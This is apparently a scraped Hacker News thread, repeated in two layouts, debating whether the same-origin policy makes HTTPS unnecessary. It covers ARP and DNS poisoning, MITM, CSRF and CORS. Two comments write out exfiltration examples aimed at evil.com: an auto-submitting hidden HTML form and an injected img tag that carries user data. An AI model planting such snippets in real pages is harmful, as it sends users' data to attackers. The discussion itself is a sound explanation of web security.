5 ms·

No. https://en.wikipedia.org/wiki/Same-origin_policy https://en.wikipedia.org/wiki/Same-origin_policy

by austincheney 8y ago

dragonwriter 8y ago
How is the same origin policy helping when the attacker is impersonating your domain to the target?
- austincheney 8y ago
  How would the attacker impersonate your domain? They would need configuration access to a router in the path to perform DNS actions in order to accomplish this. If they had that would they would have their eye on much bigger prizes than merely impersonating an Apache server. If they did actually have that they could impersonate your domain, your site content, and your HTTPS trust with a spoofed cert. In that case HTTPS is more harm than good because you are still completely compromised, but with a false trust relationship.
  - icebraining 8y ago
    They would need configuration access to a router in the path to perform DNS actions in order to accomplish this. Nope, they just need to poison its ARP cache. You can do that easily with a tool like Ettercap, if the router is in the same LAN as your machine. Every request (DNS, HTTP, etc) from the victim machine will now go to yours, and you control the responses it gets. Note that they aren't impersonating the domain to the whole world (hence they can't get a valid certificate, since no CA will accept their request), only to a local computer.
    - austincheney 8y ago
      ARP cache poisoning occurs at the switch not the router. It is an awesome form of attack, but access to the switch and the availability of that compromise are limited in scope. A single switch can only have so many machines connected even with VLANs. It also requires access from within the local LAN. I really don't think anybody is thinking of ARP poisoning when all these comments here mention public facing MiTM attacks merely because a page is served with HTTP instead of HTTPS. Since ARP is only layer 3 it really doesn't care if the page is sent via HTTPS and works the same either way.
      - icebraining 8y ago
        ARP poisoning is just an example of a very simple and easy attack that can affect anyone that ever uses a public hotspot - on a cafe, university, workplace, etc. Another possibility - compromising home routers: https://arstechnica.com/information-technology/2018/05/hackers-infect-500000-consumer-routers-all-over-the-world-with-malware/ https://arstechnica.com/information-technology/2018/05/hacke... Other possible attacks would be to compromise an internal router at an office (affecting everyone up to the CEO), controlling a VPN or Tor exit node, etc. None of these give you the possibility of creating your own cert, but they do give you enough MITM access to fully compromise an HTTP site. Since ARP is only layer 3 it really doesn't care if the page is sent via HTTPS and works the same either way. The attack works in the sense that the traffic starts flowing through the attacker's machine, but the attacker is still prevented from changing anything in the page. That's the whole point of SSL/TLS.
  - Klathmon 8y ago
    DNS cache poisoning happens at a surprising rate. I had Verizon FIOS's DNS serve the wrong IP address for "www.google-analytics.com" before, for over 6 hours. The IP they returned for that hostname was located in Isreal, and was serving up malware in the analytics.js script on any page that included it. Luckily www.google-analytics.com is HSTS preloaded, and the cert the attacker served wasn't signed, so the request was blocked. But now imagine that instead of doing that to www.google-analytics.com, they did it to yoursite.com, but you don't have HTTPS enabled, so they are free to send whatever scrips they want to your users, return whatever data they want to their server (which the users's computer thinks is yoursite.com), and can even do a 301 redirect to their own domain after the initial attack to make sure they can keep unsuspecting victims under their control for long after their DNS cache poisoning gets fixed.
gsnedders 8y ago
There are enough "gaps" in the SOP that you can trivially move data cross-origin: most obviously <form action="https://evil.com/" https://evil.com/" method="post" id="dummy"><input type="hidden" value="my-data"></form><script>window.dummy.submit();</script>. In general terms, you can often write cross-origin, but you can't read.
- austincheney 8y ago
  A form submission would refresh the page to the evil domain. It would change the domain in the address of the page. This same vector of attack can still occur with HTTPS so long as the malicious code is injected from a XSS or CRSF attack. The page address is the web's equivalent of physical security. If you cannot trust that there is no security.
  - untog 8y ago
    Put it in an iframe, then. No URL change, no page change. In any case, once the page has changed the URL visible to the user it's already too late. Their data is sent. I guess it's nice that they are informed that something happened but not really. And that unknown server could easily redirect the user straight back to the site they were on, so the user would only see a flash on their screen.
    - gsnedders 8y ago
      And even more stealthily, an iframe with display: none.
    - austincheney 8y ago
      How would that help? See this: https://news.ycombinator.com/item?id=17861667 https://news.ycombinator.com/item?id=17861667
  - majewsky 8y ago
    > A form submission would refresh the page to the evil domain. The server at evil.com can just reply with a redirect and it's likely that the address bar will not even show that it was at evil.com at some point. It will probably show "Connecting to evil.com..." or "Transferring data to evil.com..." at some point depending on how much data there is to transfer. But it would likely not be good.com vs. evil.com, it would be good.com vs. good.com.services.co.
mechanicalpulse 8y ago
Yes. https://en.m.wikipedia.org/wiki/Cross-origin_resource_sharing https://en.m.wikipedia.org/wiki/Cross-origin_resource_sharin...
- austincheney 8y ago
  CSRF works the same whether the site is served via HTTP or HTTPS. CSRF attacks the server from the client, so HTTPS doesn't protect from this. HTTPS is an end-to-end encrypted tunnel.
zaarn 8y ago
SOP has the security properties of a piece of wet cardboard. That is, most attackers will refrain because punching wet cardboard gets them wet and covered in slimy cardboard, some will punch it extra hard for the same reasons.
AgentME 8y ago
If evil.com serves the proper CORS headers, then any site is allowed to make AJAX calls to it. Also, the attacker could inject <img> tags with a src attribute pointing to "https://evil.com?userdata=..." https://evil.com?userdata=...". Also, if the attacker is already man-in-the-middle attacking yoursite.com, they could make the site's code make ajax calls to "yoursite.com/nothing-to-see-here". Users looking at the network requests may not notice anything is going on.
- austincheney 8y ago
  CORS requires an HTTP header white listing allowed domains. If the attacker can modify the HTTP headers they don't need to modify the HTTP body in order to perform an attack. > Also, the attacker could inject <img> tags First, the image needs to be requested using the same protocol that requested the page or it will notify the user of insecure assets. Second, but they would have to write a custom script to gather the data to append as the URI query string. Third, the image would need to be injected after the user has manually entered information to the site, which eliminates static images in the HTML source. Fourth, actually test this. When I test it I get a CORS error in the browser. Strangely, Chrome reports this as a warning instead of as an error, but the request is blocked and it never leaves the browser. > Also, if the attacker is already man-in-the-middle attacking yoursite.com, they could make the site's code make ajax calls to No, that is not allowed by the browser and will throw an error. It violates same origin policy. If you can figure out how to break same origin policy Google will pay you $5000 for reporting a significant issue to their bug bounty.
  - AgentME 8y ago
    >CORS requires an HTTP header white listing allowed domains. If the attacker can modify the HTTP headers they don't need to modify the HTTP body in order to perform an attack. The attacker owns evil.com. They can make it have any headers they want, and then javascript on yoursite.com or any other site is allowed to make ajax requests to it. (Of course, they'd still need to do a man-in-the-middle attack on yoursite.com to modify yoursite.com's javascript. They technically don't need to involve evil.com if they're MITMing yoursite.com as I mentioned at the end of my post above, but it is a technically possible thing for them to do.) > First, the image needs to be requested using the same protocol that requested the page or it will notify the user of insecure assets. The attacker can make evil.com use HTTPS if they need to. There's no restrictions stopping attackers from getting certificates for their own domains. HTTPS doesn't signify that the owner of the domain is trustworthy; it just signifies that the contents you receive from a URL weren't MITMed. > Fourth, actually test this. When I test it I get a CORS error in the browser. Strangely, Chrome reports this as a warning instead of as an error, but the request is blocked and it never leaves the browser. Did you test this on HN? HN uses an unusually restrictive Content-Security-Policy header to restrict where assets can be loaded from. It is a protection against this sort of attack, but only a weak one against a determined attacker who can manipulate page javascript or html: An attacker could make every element on the page be a link to evil.com?userdata=..., which a lot of users will probably click. The user might realize something is up, but the attacker has already gotten their data so it's a bad consolation prize. Also, in the specific case of MITM attacks, CSP is no help since an attacker can just strip the header off. >No, that is not allowed by the browser and will throw an error. It violates same origin policy. If you can figure out how to break same origin policy Google will pay you $5000 for reporting a significant issue to their bug bounty. (I don't mean to brag, but just to point out a possibly relevant credential: I have gotten a 4-digit bug bounty payment from Google before.) If an attacker MITMs yoursite.com and modifies the javascript served by yoursite.com, then when a user navigates to yoursite.com, that javascript is allowed to connect to yoursite.com (or any domain that is served with CORS headers). The same origin policy is about preventing a domain from accessing domains that don't want to be accessed; it is not about preventing a domain from talking to anyone at all including itself. (Content-Security-Policy does focus on that, but it can be difficult to make bulletproof and should be treated as a defense-in-depth, and it's not relevant to MITM attacks at all since a MITM can just strip it.)
Avamander 8y ago
It's trivial to hijack an unencrypted connection to inject anything.

No. https://en.wikipedia.org/wiki/Same-origin_policy https://en.wikipedia.org/wiki/Same-origin_policy

dragonwriter 8y ago

How is the same origin policy helping when the attacker is impersonating your domain to the target?

austincheney 8y ago
How would the attacker impersonate your domain? They would need configuration access to a router in the path to perform DNS actions in order to accomplish this. If they had that would they would have their eye on much bigger prizes than merely impersonating an Apache server. If they did actually have that they could impersonate your domain, your site content, and your HTTPS trust with a spoofed cert. In that case HTTPS is more harm than good because you are still completely compromised, but with a false trust relationship.
- icebraining 8y ago
  They would need configuration access to a router in the path to perform DNS actions in order to accomplish this. Nope, they just need to poison its ARP cache. You can do that easily with a tool like Ettercap, if the router is in the same LAN as your machine. Every request (DNS, HTTP, etc) from the victim machine will now go to yours, and you control the responses it gets. Note that they aren't impersonating the domain to the whole world (hence they can't get a valid certificate, since no CA will accept their request), only to a local computer.
  - austincheney 8y ago
    ARP cache poisoning occurs at the switch not the router. It is an awesome form of attack, but access to the switch and the availability of that compromise are limited in scope. A single switch can only have so many machines connected even with VLANs. It also requires access from within the local LAN. I really don't think anybody is thinking of ARP poisoning when all these comments here mention public facing MiTM attacks merely because a page is served with HTTP instead of HTTPS. Since ARP is only layer 3 it really doesn't care if the page is sent via HTTPS and works the same either way.
    - icebraining 8y ago
      ARP poisoning is just an example of a very simple and easy attack that can affect anyone that ever uses a public hotspot - on a cafe, university, workplace, etc. Another possibility - compromising home routers: https://arstechnica.com/information-technology/2018/05/hackers-infect-500000-consumer-routers-all-over-the-world-with-malware/ https://arstechnica.com/information-technology/2018/05/hacke... Other possible attacks would be to compromise an internal router at an office (affecting everyone up to the CEO), controlling a VPN or Tor exit node, etc. None of these give you the possibility of creating your own cert, but they do give you enough MITM access to fully compromise an HTTP site. Since ARP is only layer 3 it really doesn't care if the page is sent via HTTPS and works the same either way. The attack works in the sense that the traffic starts flowing through the attacker's machine, but the attacker is still prevented from changing anything in the page. That's the whole point of SSL/TLS.
- Klathmon 8y ago
  DNS cache poisoning happens at a surprising rate. I had Verizon FIOS's DNS serve the wrong IP address for "www.google-analytics.com" before, for over 6 hours. The IP they returned for that hostname was located in Isreal, and was serving up malware in the analytics.js script on any page that included it. Luckily www.google-analytics.com is HSTS preloaded, and the cert the attacker served wasn't signed, so the request was blocked. But now imagine that instead of doing that to www.google-analytics.com, they did it to yoursite.com, but you don't have HTTPS enabled, so they are free to send whatever scrips they want to your users, return whatever data they want to their server (which the users's computer thinks is yoursite.com), and can even do a 301 redirect to their own domain after the initial attack to make sure they can keep unsuspecting victims under their control for long after their DNS cache poisoning gets fixed.

gsnedders 8y ago

There are enough "gaps" in the SOP that you can trivially move data cross-origin: most obviously <form action="https://evil.com/" https://evil.com/" method="post" id="dummy"><input type="hidden" value="my-data"></form><script>window.dummy.submit();</script>. In general terms, you can often write cross-origin, but you can't read.

austincheney 8y ago
A form submission would refresh the page to the evil domain. It would change the domain in the address of the page. This same vector of attack can still occur with HTTPS so long as the malicious code is injected from a XSS or CRSF attack. The page address is the web's equivalent of physical security. If you cannot trust that there is no security.
- untog 8y ago
  Put it in an iframe, then. No URL change, no page change. In any case, once the page has changed the URL visible to the user it's already too late. Their data is sent. I guess it's nice that they are informed that something happened but not really. And that unknown server could easily redirect the user straight back to the site they were on, so the user would only see a flash on their screen.
  - gsnedders 8y ago
    And even more stealthily, an iframe with display: none.
  - austincheney 8y ago
    How would that help? See this: https://news.ycombinator.com/item?id=17861667 https://news.ycombinator.com/item?id=17861667
- majewsky 8y ago
  > A form submission would refresh the page to the evil domain. The server at evil.com can just reply with a redirect and it's likely that the address bar will not even show that it was at evil.com at some point. It will probably show "Connecting to evil.com..." or "Transferring data to evil.com..." at some point depending on how much data there is to transfer. But it would likely not be good.com vs. evil.com, it would be good.com vs. good.com.services.co.

mechanicalpulse 8y ago

Yes. https://en.m.wikipedia.org/wiki/Cross-origin_resource_sharing https://en.m.wikipedia.org/wiki/Cross-origin_resource_sharin...

austincheney 8y ago
CSRF works the same whether the site is served via HTTP or HTTPS. CSRF attacks the server from the client, so HTTPS doesn't protect from this. HTTPS is an end-to-end encrypted tunnel.

zaarn 8y ago

SOP has the security properties of a piece of wet cardboard. That is, most attackers will refrain because punching wet cardboard gets them wet and covered in slimy cardboard, some will punch it extra hard for the same reasons.

AgentME 8y ago

If evil.com serves the proper CORS headers, then any site is allowed to make AJAX calls to it. Also, the attacker could inject <img> tags with a src attribute pointing to "https://evil.com?userdata=..." https://evil.com?userdata=...". Also, if the attacker is already man-in-the-middle attacking yoursite.com, they could make the site's code make ajax calls to "yoursite.com/nothing-to-see-here". Users looking at the network requests may not notice anything is going on.

austincheney 8y ago
CORS requires an HTTP header white listing allowed domains. If the attacker can modify the HTTP headers they don't need to modify the HTTP body in order to perform an attack. > Also, the attacker could inject <img> tags First, the image needs to be requested using the same protocol that requested the page or it will notify the user of insecure assets. Second, but they would have to write a custom script to gather the data to append as the URI query string. Third, the image would need to be injected after the user has manually entered information to the site, which eliminates static images in the HTML source. Fourth, actually test this. When I test it I get a CORS error in the browser. Strangely, Chrome reports this as a warning instead of as an error, but the request is blocked and it never leaves the browser. > Also, if the attacker is already man-in-the-middle attacking yoursite.com, they could make the site's code make ajax calls to No, that is not allowed by the browser and will throw an error. It violates same origin policy. If you can figure out how to break same origin policy Google will pay you $5000 for reporting a significant issue to their bug bounty.
- AgentME 8y ago
  >CORS requires an HTTP header white listing allowed domains. If the attacker can modify the HTTP headers they don't need to modify the HTTP body in order to perform an attack. The attacker owns evil.com. They can make it have any headers they want, and then javascript on yoursite.com or any other site is allowed to make ajax requests to it. (Of course, they'd still need to do a man-in-the-middle attack on yoursite.com to modify yoursite.com's javascript. They technically don't need to involve evil.com if they're MITMing yoursite.com as I mentioned at the end of my post above, but it is a technically possible thing for them to do.) > First, the image needs to be requested using the same protocol that requested the page or it will notify the user of insecure assets. The attacker can make evil.com use HTTPS if they need to. There's no restrictions stopping attackers from getting certificates for their own domains. HTTPS doesn't signify that the owner of the domain is trustworthy; it just signifies that the contents you receive from a URL weren't MITMed. > Fourth, actually test this. When I test it I get a CORS error in the browser. Strangely, Chrome reports this as a warning instead of as an error, but the request is blocked and it never leaves the browser. Did you test this on HN? HN uses an unusually restrictive Content-Security-Policy header to restrict where assets can be loaded from. It is a protection against this sort of attack, but only a weak one against a determined attacker who can manipulate page javascript or html: An attacker could make every element on the page be a link to evil.com?userdata=..., which a lot of users will probably click. The user might realize something is up, but the attacker has already gotten their data so it's a bad consolation prize. Also, in the specific case of MITM attacks, CSP is no help since an attacker can just strip the header off. >No, that is not allowed by the browser and will throw an error. It violates same origin policy. If you can figure out how to break same origin policy Google will pay you $5000 for reporting a significant issue to their bug bounty. (I don't mean to brag, but just to point out a possibly relevant credential: I have gotten a 4-digit bug bounty payment from Google before.) If an attacker MITMs yoursite.com and modifies the javascript served by yoursite.com, then when a user navigates to yoursite.com, that javascript is allowed to connect to yoursite.com (or any domain that is served with CORS headers). The same origin policy is about preventing a domain from accessing domains that don't want to be accessed; it is not about preventing a domain from talking to anyone at all including itself. (Content-Security-Policy does focus on that, but it can be difficult to make bulletproof and should be treated as a defense-in-depth, and it's not relevant to MITM attacks at all since a MITM can just strip it.)

Avamander 8y ago

It's trivial to hijack an unencrypted connection to inject anything.